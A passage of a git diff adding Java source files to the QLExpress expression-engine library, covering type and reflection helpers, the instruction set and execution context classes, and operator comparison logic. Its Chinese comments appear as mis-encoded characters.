baseName = "S"; + } + return loadClass(arrayString + baseName); + } + } catch (ClassNotFoundException ex) { + throw new RuntimeException(ex); + } + } + + public static Class getJavaClassInner(String type) { + if (type.equals(DT_STRING)) { + return String.class; + } + if (type.equals(DT_SHORT)) { + return Short.class; + } + if (type.equals(DT_INTEGER)) { + return Integer.class; + } + if (type.equals(DT_LONG)) { + return Long.class; + } + if (type.equals(DT_DOUBLE)) { + return Double.class; + } + if (type.equals(DT_FLOAT)) { + return Float.class; + } + if (type.equals(DT_BYTE)) { + return Byte.class; + } + if (type.equals(DT_CHAR) || "Character".equals(type)) { + return Character.class; + } + if (type.equals(DT_BOOLEAN)) { + return Boolean.class; + } + if (type.equals(DT_DATE)) { + return Date.class; + } + if (type.equals(DT_TIME)) { + return Time.class; + } + if (type.equals(DT_DATETIME)) { + return Timestamp.class; + } + if (type.equals(DT_OBJECT)) { + return Object.class; + } + if (type.equals(DT_short)) { + return short.class; + } + if (type.equals(DT_int)) { + return int.class; + } + if (type.equals(DT_long)) { + return long.class; + } + if (type.equals(DT_double)) { + return double.class; + } + if (type.equals(DT_float)) { + return float.class; + } + if (type.equals(DT_byte)) { + return byte.class; + } + if (type.equals(DT_char)) { + return char.class; + } + if (type.equals(DT_boolean)) { + return boolean.class; + } + try { + return loadClass(type); + } catch (ClassNotFoundException ex) { + throw new RuntimeException(ex); + } + } + + public static String getClassName(Class className) { + if (className == null) { + return null; + } + String name = className.getName(); + return getClassName(name); + } + + private static String getClassName(String name) { + StringBuilder arrays = new StringBuilder(); + if (name.contains("[")) { + int point = 0; + while (name.charAt(point) == '[') { + arrays.append("[]"); + ++point; + } + if (name.charAt(point) == 'L') { + name = name.substring(point + 1, name.length() - 1); + } else if (name.charAt(point) == 'Z') { + name = "boolean"; + } else if (name.charAt(point) == 'B') { + name = "byte"; + } else if (name.charAt(point) == 'C') { + name = "char"; + } else if (name.charAt(point) == 'D') { + name = "double"; + } else if (name.charAt(point) == 'F') { + name = "float"; + } else if (name.charAt(point) == 'I') { + name = "int"; + } else if (name.charAt(point) == 'J') { + name = "long"; + } else if (name.charAt(point) == 'S') { + name = "short"; + } + } + int index = name.lastIndexOf('.'); + if (index > 0 && "java.lang".equals(name.substring(0, index))) { + name = name.substring(index + 1); + } + name = name + arrays; + return name; + } + + public static Class loadClass(String name) throws ClassNotFoundException { + ClassLoader customClassLoader = QLExpressRunStrategy.getCustomClassLoader(); + if (customClassLoader != null) { + return Class.forName(name, true, customClassLoader); + } else { + return Class.forName(name); + } + } + + /** + * 替æ¢å­—符串中的å‚æ•° replaceString("$1强化$2实施$2",new String[]{"qq","ff"}) + * ="qq 强化 ff 实施 ff" + * + * @param str + * @param parameters + * @return + * @throws Exception + */ + public static String replaceString(String str, Object[] parameters) + throws Exception { + if (str == null || parameters == null || parameters.length == 0) { + return str; + } + Matcher m = PATTERN.matcher(str); + StringBuffer sb = new StringBuffer(); + while (m.find()) { + int index = Integer.parseInt(m.group().substring(1)) - 1; + if (index < 0 || index >= parameters.length) { + throw new QLException("设置的å‚æ•°ä½ç½®$" + (index + 1) + "超过了范围 " + + parameters.length); + } + m.appendReplacement(sb, " " + parameters[index].toString() + " "); + } + m.appendTail(sb); + return sb.toString(); + } + + public static Object getProperty(Object bean, Object name) { + try { + if (bean == null && QLExpressRunStrategy.isAvoidNullPointer()) { + return null; + } + if (bean == null) { + throw new QLException("对象为空,ä¸èƒ½èŽ·å–属性:" + name); + } + if (bean.getClass().isArray() && "length".equals(name)) { + return Array.getLength(bean); + } else if (bean instanceof Class) { + if ("class".equals(name)) { + return bean; + } else if (QLExpressRunStrategy.isSandboxMode()) { + throw new QLException("无法获å–属性:" + name); + } else { + Field f = ((Class)bean).getDeclaredField(name.toString()); + return f.get(null); + } + } else if (bean instanceof Map) { + return ((Map)bean).get(name); + } else if (QLExpressRunStrategy.isSandboxMode()) { + throw new QLException("无法获å–属性:" + name); + } else { + return QLAliasUtils.getProperty(bean, name.toString()); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public static Class getPropertyClass(Object bean, Object name) { + try { + if (bean.getClass().isArray() && "length".equals(name)) { + return int.class; + } else if (bean instanceof Class) { + if ("class".equals(name)) { + return Class.class; + } else { + Field f = ((Class)bean).getDeclaredField(name.toString()); + return f.getType(); + } + } else if (bean instanceof Map) { + Object o = ((Map)bean).get(name); + if (o == null) { + return null; + } else { + return o.getClass(); + } + } else { + return QLAliasUtils.getPropertyClass(bean, name.toString()); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public static void setProperty(Object bean, Object name, Object value) { + try { + if (bean instanceof Class) { + Field field = ((Class)bean).getDeclaredField(name.toString()); + field.set(null, value); + } else if (bean instanceof Map) { + ((Map)bean).put(name, value); + } else { + QLAliasUtils.setProperty(bean, name.toString(), value); + } + } catch (Exception e) { + throw new RuntimeException("ä¸èƒ½è®¿é—®" + bean + "çš„property:" + name, e); + } + } + + public static Object[] transferArray(Object[] values, Class[] types) { + for (int i = 0; i < values.length; i++) { + values[i] = castObject(values[i], types[i], false); + } + return values; + } + + /** + * @param value + * @param type + * @param isForce 是å¦å¼ºåˆ¶è½¬æ¢ + * @return + */ + public static Object castObject(Object value, Class type, boolean isForce) { + if (value == null) { + return null; + } + if (value.getClass() == type || type.isAssignableFrom(value.getClass())) { + return value; + } + if (value instanceof Number + && (type.isPrimitive() || Number.class.isAssignableFrom(type))) { + return OperatorOfNumber.transfer((Number)value, type, isForce); + } else if (type.isArray() && value.getClass().isArray()) { + //需è¦å¯¹å…ƒç´ åšå…¼å®¹æ€§,如果value的元素全部为null并且和声明的ä¸ä¸€è‡´,转化为所声明的类型 + Class valueType = value.getClass().getComponentType(); + Class declareType = type.getComponentType(); + if (declareType != valueType) { + Object[] values = (Object[])value; + boolean allBlank = true; + for (Object o : values) { + if (o != null) { + allBlank = false; + break; + } + } + if (allBlank) { + return Array.newInstance(declareType, values.length); + } + } + return value; + + } else if (value.getClass() == QLambda.class && isFunctionInterface(type)) { + // 动æ€ä»£ç† QLambda 为指定接å£ç±» + return Proxy.newProxyInstance(type.getClassLoader(), new Class[] {type}, + new QLambdaInvocationHandler((QLambda)value)); + } else { + return value; + } + } + + /** + * 是å¦å‡½æ•°å¼æŽ¥å£ + * 函数å¼æŽ¥å£çš„æ¡ä»¶ + * æ˜¯æŽ¥å£ + * 有且仅有一个 abstract 方法 + * + * @param clazz + * @return + */ + private static boolean isFunctionInterface(Class clazz) { + if (clazz == null) { + return false; + } + Boolean cacheRes = IS_FUNCTION_INTERFACE_CACHE.get(clazz); + if (cacheRes != null) { + return cacheRes; + } + boolean res = clazz.isInterface() && hasOnlyOneAbstractMethod(clazz.getMethods()); + IS_FUNCTION_INTERFACE_CACHE.put(clazz, res); + return res; + } + + private static boolean hasOnlyOneAbstractMethod(Method[] methods) { + int count = 0; + for (Method method : methods) { + if (Modifier.isAbstract(method.getModifiers())) { + count++; + } + } + return count == 1; + } +} diff --git a/src/com/ql/util/express/IExpressContext.java b/src/com/ql/util/express/IExpressContext.java new file mode 100644 index 00000000..412a8f62 --- /dev/null +++ b/src/com/ql/util/express/IExpressContext.java @@ -0,0 +1,24 @@ +package com.ql.util.express; + +/** + * 表达å¼è®¡ç®—çš„æ•°æ®æ³¨å…¥æŽ¥å£ + * + * @author qhlhl2010@gmail.com + */ +public interface IExpressContext { + /** + * æ ¹æ®å称从属性列表中æå–属性值。如果表达å¼ä¸­ç”¨åˆ°äº†Springçš„å¯¹è±¡ï¼Œä¹Ÿæ˜¯é€šè¿‡æ­¤æ–¹æ³•èŽ·å– + * + * @param key 属性å称 + * @return + */ + V get(Object key); + + /** + * 表达å¼è®¡ç®—的结果å¯ä»¥è®¾ç½®å›žè°ƒç”¨ç³»ç»Ÿï¼Œä¾‹å¦‚ userId = 3 + 4 + * + * @param name 属性å称 + * @param object 属性值 + */ + V put(K name, V object); +} diff --git a/src/com/ql/util/express/IExpressResourceLoader.java b/src/com/ql/util/express/IExpressResourceLoader.java new file mode 100644 index 00000000..0adc0d68 --- /dev/null +++ b/src/com/ql/util/express/IExpressResourceLoader.java @@ -0,0 +1,17 @@ +package com.ql.util.express; + +/** + * 加载表达å¼èµ„æºæŽ¥å£ + * + * @author xuannan + */ +public interface IExpressResourceLoader { + /** + * æ ¹æ®è¡¨è¾¾å¼å称获å–表达å¼çš„内容 + * + * @param expressName + * @return + * @throws Exception + */ + String loadExpress(String expressName) throws Exception; +} diff --git a/src/com/ql/util/express/InstructionSet.java b/src/com/ql/util/express/InstructionSet.java new file mode 100644 index 00000000..a8451c4b --- /dev/null +++ b/src/com/ql/util/express/InstructionSet.java @@ -0,0 +1,315 @@ +package com.ql.util.express; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.TreeMap; + +import com.ql.util.express.config.QLExpressTimer; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.FunctionInstructionSet; +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.detail.Instruction; +import com.ql.util.express.instruction.detail.InstructionCallSelfDefineFunction; +import com.ql.util.express.instruction.detail.InstructionConstData; +import com.ql.util.express.instruction.detail.InstructionLoadAttr; +import com.ql.util.express.instruction.detail.InstructionNewVirClass; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; + +/** + * 表达å¼æ‰§è¡Œç¼–译åŽå½¢æˆçš„æŒ‡ä»¤é›†åˆ + * + * @author qhlhl2010@gmail.com + */ +public class InstructionSet { + public static final String TYPE_CLASS = "VClass"; + public static final String TYPE_FUNCTION = "function"; + public static final String TYPE_MACRO = "macro"; + + private final String type; + private String name; + private String globeName; + + /** + * 指令 + */ + private Instruction[] instructionList = new Instruction[0]; + + /** + * 函数和å®å®šä¹‰ + */ + private final Map functionDefine = new HashMap<>(); + + /** + * 为了增加性能,开始的时候缓存为数组 + */ + private Map cacheFunctionSet = null; + private final List exportVar = new ArrayList<>(); + /** + * 函数å‚数定义 + */ + private final List parameterList = new ArrayList<>(); + + public InstructionSet(String type) { + this.type = type; + } + + public String[] getOutFunctionNames() { + Map result = new TreeMap<>(); + for (Instruction instruction : instructionList) { + if (instruction instanceof InstructionCallSelfDefineFunction) { + String functionName = ((InstructionCallSelfDefineFunction)instruction).getFunctionName(); + if (!functionDefine.containsKey(functionName)) { + result.put(functionName, null); + } + } + } + return result.keySet().toArray(new String[0]); + } + + public String[] getVirClasses() { + Map result = new TreeMap<>(); + for (Instruction instruction : instructionList) { + if (instruction instanceof InstructionNewVirClass) { + String functionName = ((InstructionNewVirClass)instruction).getClassName(); + result.put(functionName, null); + } + } + return result.keySet().toArray(new String[0]); + } + + public String[] getOutAttrNames() throws Exception { + Map result = new TreeMap<>(); + for (Instruction instruction : instructionList) { + if (instruction instanceof InstructionLoadAttr) { + if ("null".equals(((InstructionLoadAttr)instruction).getAttrName())) { + continue; + } + result.put(((InstructionLoadAttr)instruction).getAttrName(), null); + } + } + + //剔除本地å˜é‡å®šä¹‰å’Œåˆ«å定义 + for (int i = 0; i < instructionList.length; i++) { + Instruction instruction = instructionList[i]; + if (instruction instanceof InstructionOperator) { + String opName = ((InstructionOperator)instruction).getOperator().getName(); + //addOperator(op)中op.name有å¯èƒ½ä¸ºç©º + if (opName != null) { + if ("def".equalsIgnoreCase(opName) || "exportDef".equalsIgnoreCase(opName)) { + String varLocalName = (String)((InstructionConstData)instructionList[i - 1]).getOperateData() + .getObject(null); + result.remove(varLocalName); + } else if ("alias".equalsIgnoreCase(opName) || "exportAlias".equalsIgnoreCase(opName)) { + String varLocalName = (String)((InstructionConstData)instructionList[i - 2]).getOperateData() + .getObject(null); + result.remove(varLocalName); + } + } + } + } + return result.keySet().toArray(new String[0]); + } + + /** + * 添加指令,为了æ高è¿è¡ŒæœŸçš„效率,指令集用数组存储 + * + * @param item + */ + private void addArrayItem(Instruction item) { + Instruction[] newArray = new Instruction[this.instructionList.length + 1]; + System.arraycopy(this.instructionList, 0, newArray, 0, this.instructionList.length); + newArray[this.instructionList.length] = item; + this.instructionList = newArray; + } + + /** + * æ’å…¥æ•°æ® + * + * @param point + * @param item + */ + private void insertArrayItem(int point, Instruction item) { + Instruction[] newArray = new Instruction[this.instructionList.length + 1]; + System.arraycopy(this.instructionList, 0, newArray, 0, point); + System.arraycopy(this.instructionList, point, newArray, point + 1, this.instructionList.length - point); + newArray[point] = item; + this.instructionList = newArray; + } + + /** + * @param environment + * @param context + * @param errorList + * @param isReturnLastData 是å¦æœ€åŽçš„结果,主è¦æ˜¯åœ¨æ‰§è¡Œå®å®šä¹‰çš„æ—¶å€™éœ€è¦ + * @return + * @throws Exception + */ + public CallResult execute(RunEnvironment environment, InstructionSetContext context, List errorList, + boolean isReturnLastData) throws Exception { + //将函数export到上下文中,这儿就是é‡å…¥ä¹Ÿæ²¡æœ‰å…³ç³»ï¼Œä¸éœ€è¦è€ƒè™‘å¹¶å‘ + if (cacheFunctionSet == null) { + Map tempMap = new HashMap<>(); + for (FunctionInstructionSet s : this.functionDefine.values()) { + tempMap.put(s.name, s.instructionSet); + } + cacheFunctionSet = tempMap; + } + + context.addSymbol(cacheFunctionSet); + + this.executeInnerOriginalInstruction(environment, errorList); + // 是在执行完所有的指令åŽç»“æŸçš„ä»£ç  + if (!environment.isExit()) { + if (environment.getDataStackSize() > 0) { + OperateData tmpObject = environment.pop(); + if (tmpObject == null) { + environment.quitExpress(null); + } else { + if (isReturnLastData) { + if (tmpObject.getType(context) != null && tmpObject.getType(context).equals(void.class)) { + environment.quitExpress(null); + } else { + environment.quitExpress(tmpObject.getObject(context)); + } + } else { + environment.quitExpress(tmpObject); + } + } + } + } + if (environment.getDataStackSize() > 1) { + throw new QLException("在表达å¼æ‰§è¡Œå®Œæ¯•åŽï¼Œå †æ ˆä¸­è¿˜å­˜åœ¨å¤šä¸ªæ•°æ®"); + } + return OperateDataCacheManager.fetchCallResult(environment.getReturnValue(), environment.isExit()); + } + + public void executeInnerOriginalInstruction(RunEnvironment environment, List errorList) + throws Exception { + Instruction instruction = null; + try { + while (environment.programPoint < this.instructionList.length) { + QLExpressTimer.assertTimeOut(); + instruction = this.instructionList[environment.programPoint]; + instruction.execute(environment, errorList); + } + } catch (Exception e) { + throw e; + } + } + + public int getInstructionLength() { + return this.instructionList.length; + } + + public void addMacroDefine(String macroName, FunctionInstructionSet functionInstructionSet) { + this.functionDefine.put(macroName, functionInstructionSet); + } + + public FunctionInstructionSet getMacroDefine(String macroName) { + return this.functionDefine.get(macroName); + } + + public FunctionInstructionSet[] getFunctionInstructionSets() { + return this.functionDefine.values().toArray(new FunctionInstructionSet[0]); + } + + public void addExportDef(ExportItem e) { + this.exportVar.add(e); + } + + public List getExportDef() { + return new ArrayList<>(this.exportVar); + } + + public OperateDataLocalVar[] getParameters() { + return this.parameterList.toArray(new OperateDataLocalVar[0]); + } + + public void addParameter(OperateDataLocalVar localVar) { + this.parameterList.add(localVar); + } + + public void addInstruction(Instruction instruction) { + this.addArrayItem(instruction); + } + + public void insertInstruction(int point, Instruction instruction) { + this.insertArrayItem(point, instruction); + } + + public Instruction getInstruction(int point) { + return this.instructionList[point]; + } + + public int getCurrentPoint() { + return this.instructionList.length - 1; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getGlobeName() { + return globeName; + } + + public void setGlobeName(String globeName) { + this.globeName = globeName; + } + + public boolean hasMain() { + return this.instructionList.length > 0; + } + + public String getType() { + return type; + } + + public void appendSpace(StringBuilder stringBuilder, int level) { + for (int i = 0; i < level; i++) { + stringBuilder.append(" "); + } + } + + @Override + public String toString() { + return "\n" + toString(0); + } + + public String toString(int level) { + try { + StringBuilder stringBuilder = new StringBuilder(); + // 输出å®å®šä¹‰ + for (FunctionInstructionSet set : this.functionDefine.values()) { + appendSpace(stringBuilder, level); + stringBuilder.append(set.type).append(":").append(set.name).append("("); + for (int i = 0; i < set.instructionSet.parameterList.size(); i++) { + OperateDataLocalVar operateDataLocalVar = set.instructionSet.parameterList.get(i); + if (i > 0) { + stringBuilder.append(","); + } + stringBuilder.append(operateDataLocalVar.getType(null).getName()).append(" ") + .append(operateDataLocalVar.getName()); + } + stringBuilder.append("){\n"); + stringBuilder.append(set.instructionSet.toString(level + 1)); + appendSpace(stringBuilder, level); + stringBuilder.append("}\n"); + } + for (int i = 0; i < this.instructionList.length; i++) { + appendSpace(stringBuilder, level); + stringBuilder.append(i + 1).append(":").append(this.instructionList[i]).append("\n"); + } + return stringBuilder.toString(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/src/com/ql/util/express/InstructionSetContext.java b/src/com/ql/util/express/InstructionSetContext.java new file mode 100644 index 00000000..ae8d67f0 --- /dev/null +++ b/src/com/ql/util/express/InstructionSetContext.java @@ -0,0 +1,146 @@ +package com.ql.util.express; + +import java.util.HashMap; +import java.util.Map; + +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class InstructionSetContext implements IExpressContext { + /** + * 没有知é“æ•°æ®ç±»åž‹çš„å˜é‡å®šä¹‰æ˜¯å¦ä¼ é€’到最外层的Context + */ + private boolean isExpandToParent = true; + + private IExpressContext parent = null; + private Map content; + + /** + * 符å·è¡¨ + */ + private final Map symbolTable = new HashMap<>(); + + private ExpressLoader expressLoader; + + private boolean isSupportDynamicFieldName = false; + + private ExpressRunner runner; + + public ExpressRunner getRunner() { + return runner; + } + + public InstructionSetContext(boolean isExpandToParent, ExpressRunner expressRunner, + IExpressContext parent, ExpressLoader expressLoader, boolean isSupportDynamicFieldName) { + this.initial(isExpandToParent, expressRunner, parent, expressLoader, isSupportDynamicFieldName); + } + + public void initial(boolean isExpandToParent, ExpressRunner expressRunner, IExpressContext parent, + ExpressLoader expressLoader, boolean isSupportDynamicFieldName) { + this.isExpandToParent = isExpandToParent; + this.runner = expressRunner; + this.parent = parent; + this.expressLoader = expressLoader; + this.isSupportDynamicFieldName = isSupportDynamicFieldName; + } + + public void clear() { + isExpandToParent = true; + parent = null; + content = null; + expressLoader = null; + isSupportDynamicFieldName = false; + runner = null; + symbolTable.clear(); + } + + public void exportSymbol(String varName, Object aliasNameObject) throws Exception { + if (this.parent instanceof InstructionSetContext) { + ((InstructionSetContext)this.parent).exportSymbol(varName, aliasNameObject); + } else { + this.addSymbol(varName, aliasNameObject); + } + } + + public void addSymbol(String varName, Object aliasNameObject) throws Exception { + if (this.symbolTable.containsKey(varName)) { + throw new QLException("å˜é‡" + varName + "å·²ç»å­˜åœ¨ï¼Œä¸èƒ½é‡å¤å®šä¹‰ï¼Œä¹Ÿä¸èƒ½å†ä»Žå‡½æ•°å†…部 export"); + } + this.symbolTable.put(varName, aliasNameObject); + } + + public void addSymbol(Map aliasNameObjects) { + this.symbolTable.putAll(aliasNameObjects); + } + + public void setSupportDynamicFieldName(boolean isSupportDynamicFieldName) { + this.isSupportDynamicFieldName = isSupportDynamicFieldName; + } + + public boolean isSupportDynamicFieldName() { + return this.isSupportDynamicFieldName; + } + + public ExpressRunner getExpressRunner() { + return this.runner; + } + + public Object findAliasOrDefSymbol(String varName) { + Object result = this.symbolTable.get(varName); + if (result == null && this.parent instanceof InstructionSetContext) { + result = ((InstructionSetContext)this.parent).findAliasOrDefSymbol(varName); + } + return result; + } + + public Object getSymbol(String varName) throws Exception { + Object result = this.symbolTable.get(varName); + if (result == null && this.expressLoader != null) { + result = this.expressLoader.getInstructionSet(varName); + } + if (result == null) { + if (this.isExpandToParent && this.parent != null + && this.parent instanceof InstructionSetContext) { + result = ((InstructionSetContext)this.parent).getSymbol(varName); + } else { + result = OperateDataCacheManager.fetchOperateDataAttr(varName, null); + this.addSymbol(varName, result); + } + } + return result; + } + + public ExpressLoader getExpressLoader() { + return expressLoader; + } + + public IExpressContext getParent() { + return this.parent; + } + + @Override + public Object get(Object key) { + if (this.content != null && this.content.containsKey(key)) { + return this.content.get(key); + } else if (this.isExpandToParent && this.parent != null) { + return this.parent.get(key); + } + return null; + } + + @Override + public Object put(String key, Object value) { + if (this.content != null && this.content.containsKey(key)) { + return this.content.put(key, value); + } else if (!this.isExpandToParent) { + if (this.content == null) { + this.content = new HashMap<>(); + } + return this.content.put(key, value); + } else if (this.parent != null) { + return this.parent.put(key, value); + } else { + throw new RuntimeException("没有定义局部å˜é‡ï¼š" + key + ",而且没有全局上下文"); + } + } +} diff --git a/src/com/ql/util/express/InstructionSetRunner.java b/src/com/ql/util/express/InstructionSetRunner.java new file mode 100644 index 00000000..011c14fc --- /dev/null +++ b/src/com/ql/util/express/InstructionSetRunner.java @@ -0,0 +1,70 @@ +package com.ql.util.express; + +import java.util.List; + +import com.ql.util.express.config.QLExpressTimer; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class InstructionSetRunner { + + private InstructionSetRunner() { + throw new IllegalStateException("Utility class"); + } + + public static Object executeOuter(ExpressRunner runner, InstructionSet instructionSet, ExpressLoader loader, + IExpressContext iExpressContext, List errorList, boolean isTrace, + boolean isCatchException, boolean isSupportDynamicFieldName) throws Exception { + try { + //开始计时 + QLExpressTimer.startTimer(); + + OperateDataCacheManager.push(runner); + return execute(runner, instructionSet, loader, iExpressContext, errorList, isTrace, isCatchException, true, + isSupportDynamicFieldName); + } finally { + OperateDataCacheManager.resetCache(); + } + } + + /** + * 批é‡æ‰§è¡ŒæŒ‡ä»¤é›†åˆï¼ŒæŒ‡ä»¤é›†é—´å¯ä»¥å…±äº« å˜é‡å’Œå‡½æ•° + * + * @param runner + * @param instructionSet + * @param loader + * @param iExpressContext + * @param errorList + * @param isTrace + * @param isCatchException + * @param isReturnLastData + * @param isSupportDynamicFieldName + * @return + * @throws Exception + */ + public static Object execute(ExpressRunner runner, InstructionSet instructionSet, ExpressLoader loader, + IExpressContext iExpressContext, List errorList, boolean isTrace, + boolean isCatchException, boolean isReturnLastData, boolean isSupportDynamicFieldName) + throws Exception { + InstructionSetContext context = OperateDataCacheManager.fetchInstructionSetContext(true, runner, + iExpressContext, loader, isSupportDynamicFieldName); + return execute(instructionSet, context, errorList, isTrace, isCatchException, isReturnLastData); + } + + public static Object execute(InstructionSet set, InstructionSetContext context, List errorList, + boolean isTrace, boolean isCatchException, boolean isReturnLastData) throws Exception { + RunEnvironment environment; + Object result = null; + environment = OperateDataCacheManager.fetRunEnvironment(set, context, isTrace); + try { + CallResult tempResult = set.execute(environment, context, errorList, isReturnLastData); + if (tempResult.isExit()) { + result = tempResult.getReturnValue(); + } + } catch (Exception e) { + if (!isCatchException) { + throw e; + } + } + return result; + } +} diff --git a/src/com/ql/util/express/LocalExpressCacheRunner.java b/src/com/ql/util/express/LocalExpressCacheRunner.java new file mode 100644 index 00000000..939d3659 --- /dev/null +++ b/src/com/ql/util/express/LocalExpressCacheRunner.java @@ -0,0 +1,34 @@ +package com.ql.util.express; + +import java.util.HashMap; +import java.util.Map; + +/** + * ä½œä¸ºè¡¨è¾¾å¼ + * + * @author tianqiao + */ +public class LocalExpressCacheRunner extends ExpressRemoteCacheRunner { + private static final Map EXPRESS_MAP = new HashMap<>(); + + private final ExpressRunner expressRunner; + + public LocalExpressCacheRunner(ExpressRunner expressRunner) { + this.expressRunner = expressRunner; + } + + @Override + public final Object getCache(String key) { + return EXPRESS_MAP.get(key); + } + + @Override + public final void putCache(String key, Object object) { + EXPRESS_MAP.put(key, object); + } + + @Override + public final ExpressRunner getExpressRunner() { + return this.expressRunner; + } +} diff --git a/src/com/ql/util/express/OperateData.java b/src/com/ql/util/express/OperateData.java new file mode 100644 index 00000000..ff5e2d9c --- /dev/null +++ b/src/com/ql/util/express/OperateData.java @@ -0,0 +1,110 @@ +package com.ql.util.express; + +import com.ql.util.express.exception.QLException; + +/** + * æ•°æ®ç±»åž‹å®šä¹‰ + * + * @author qhlhl2010@gmail.com + */ +public class OperateData { + + protected Object dataObject; + protected Class type; + + public OperateData(Object obj, Class type) { + this.type = type; + this.dataObject = obj; + } + + /** + * 给对象缓存接å£ä½¿ç”¨ + * + * @param obj + * @param type + */ + public void initial(Object obj, Class type) { + this.type = type; + this.dataObject = obj; + } + + public void clear() { + this.dataObject = null; + this.type = null; + } + + public Class getDefineType() { + throw new RuntimeException(this.getClass().getName() + "必须实现方法:getDefineType"); + } + + public Class getOriginalType() { + return this.type; + } + + public Class getType(InstructionSetContext parent) throws Exception { + if (type != null) { + return type; + } + + Object obj = this.getObject(parent); + if (obj == null) { + return null; + } else { + return obj.getClass(); + } + } + + public final Object getObject(InstructionSetContext context) throws Exception { + if (this.type != null && this.type.equals(void.class)) { + throw new QLException("void ä¸èƒ½å‚与任何æ“作è¿ç®—,请检查使用在表达å¼ä¸­ä½¿ç”¨äº†æ²¡æœ‰è¿”回值的函数,或者分支ä¸å®Œæ•´çš„if语å¥"); + } + return getObjectInner(context); + } + + public Object getObjectInner(InstructionSetContext context) throws Exception { + return this.dataObject; + } + + public void setObject(InstructionSetContext parent, Object object) throws Exception { + throw new RuntimeException("必须在å­ç±»ä¸­å®žçŽ°æ­¤æ–¹æ³•"); + } + + public String toJavaCode() { + if (!this.getClass().equals(OperateData.class)) { + throw new RuntimeException(this.getClass().getName() + "没有实现:toJavaCode()"); + } + String result = "new " + OperateData.class.getName() + "("; + if (String.class.equals(this.type)) { + result = result + "\"" + this.dataObject + "\""; + } else if (this.type.isPrimitive()) { + result = result + this.dataObject.getClass().getName() + ".valueOf(\"" + this.dataObject + "\")"; + } else { + result = result + "new " + this.dataObject.getClass().getName() + "(\"" + this.dataObject + + "\")"; + } + result = result + "," + type.getName() + ".class"; + result = result + ")"; + return result; + } + + @Override + public String toString() { + if (this.dataObject == null) { + return this.type + ":null"; + } else { + if (this.dataObject instanceof Class) { + return ExpressUtil.getClassName((Class)this.dataObject); + } else { + return this.dataObject.toString(); + } + } + } + + public void toResource(StringBuilder builder, int level) { + if (this.dataObject != null) { + builder.append(this.dataObject); + } else { + builder.append("null"); + } + } +} diff --git a/src/com/ql/util/express/Operator.java b/src/com/ql/util/express/Operator.java new file mode 100644 index 00000000..1ca1a200 --- /dev/null +++ b/src/com/ql/util/express/Operator.java @@ -0,0 +1,124 @@ +package com.ql.util.express; + +import java.util.Date; + +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.op.OperatorBase; + +/** + * æ“作符的基类 + * + * @author xuannan + */ +public abstract class Operator extends OperatorBase { + @Override + public OperateData executeInner(InstructionSetContext parent, ArraySwap list) throws Exception { + Object[] parameters = new Object[list.length]; + for (int i = 0; i < list.length; i++) { + if (list.get(i) == null && QLExpressRunStrategy.isAvoidNullPointer()) { + parameters[i] = null; + } else { + parameters[i] = list.get(i).getObject(parent); + } + } + Object result = this.executeInner(parameters); + if (result != null && result.getClass().equals(OperateData.class)) { + throw new QLException("æ“作符å·å®šä¹‰çš„返回类型错误:" + this.getAliasName()); + } + if (result == null) { + //return new OperateData(null,null); + return OperateDataCacheManager.fetchOperateData(null, null); + } else { + //return new OperateData(result,ExpressUtil.getSimpleDataType(result.getClass())); + return OperateDataCacheManager.fetchOperateData(result, ExpressUtil.getSimpleDataType(result.getClass())); + } + } + + public abstract Object executeInner(Object[] list) throws Exception; + + /** + * 进行对象是å¦ç›¸ç­‰çš„比较 + * + * @param op1 + * @param op2 + * @return + */ + public static boolean objectEquals(Object op1, Object op2) { + if (op1 == null && op2 == null) { + return true; + } + if (op1 == null || op2 == null) { + return false; + } + + //Character的值比较 + if (op1 instanceof Character || op2 instanceof Character) { + int compareResult; + if (op1 instanceof Character && op2 instanceof Character) { + return op1.equals(op2); + } else if (op1 instanceof Number) { + compareResult = OperatorOfNumber.compareNumber((Number)op1, (int)(Character)op2); + return compareResult == 0; + } else if (op2 instanceof Number) { + compareResult = OperatorOfNumber.compareNumber((int)(Character)op1, (Number)op2); + return compareResult == 0; + } + } + //数值的值比较 + if (op1 instanceof Number && op2 instanceof Number) { + //数字比较 + int compareResult = OperatorOfNumber.compareNumber((Number)op1, (Number)op2); + return compareResult == 0; + } + //调用原始Object的比较 + return op1.equals(op2); + } + + /** + * 进行对象比较 + * + * @param op1 + * @param op2 + * @return 0 等于 ,负数 å°äºŽ , 正数 大于 + * @throws Exception + */ + public static int compareData(Object op1, Object op2) throws Exception { + if (op1 == op2) { + return 0; + } + + int compareResult; + + if (op1 instanceof String) { + compareResult = ((String)op1).compareTo(op2.toString()); + } else if (op2 instanceof String) { + compareResult = op1.toString().compareTo((String)op2); + } else if (op1 instanceof Character || op2 instanceof Character) { + if (op1 instanceof Character && op2 instanceof Character) { + compareResult = ((Character)op1).compareTo((Character)op2); + } else if (op1 instanceof Number) { + compareResult = OperatorOfNumber.compareNumber((Number)op1, (int)(Character)op2); + } else if (op2 instanceof Number) { + compareResult = OperatorOfNumber.compareNumber((int)(Character)op1, (Number)op2); + } else { + throw new QLException(op1 + "å’Œ" + op2 + "ä¸èƒ½æ‰§è¡Œcompare æ“作"); + } + } else if (op1 instanceof Number && op2 instanceof Number) { + //数字比较 + compareResult = OperatorOfNumber.compareNumber((Number)op1, (Number)op2); + } else if ((op1 instanceof Boolean) && (op2 instanceof Boolean)) { + if (((Boolean)op1).booleanValue() == ((Boolean)op2).booleanValue()) { + compareResult = 0; + } else { + compareResult = -1; + } + } else if ((op1 instanceof Date) && (op2 instanceof Date)) { + compareResult = ((Date)op1).compareTo((Date)op2); + } else { + throw new QLException(op1 + "å’Œ" + op2 + "ä¸èƒ½æ‰§è¡Œcompare æ“作"); + } + return compareResult; + } +} diff --git a/src/com/ql/util/express/OperatorOfNumber.java b/src/com/ql/util/express/OperatorOfNumber.java new file mode 100644 index 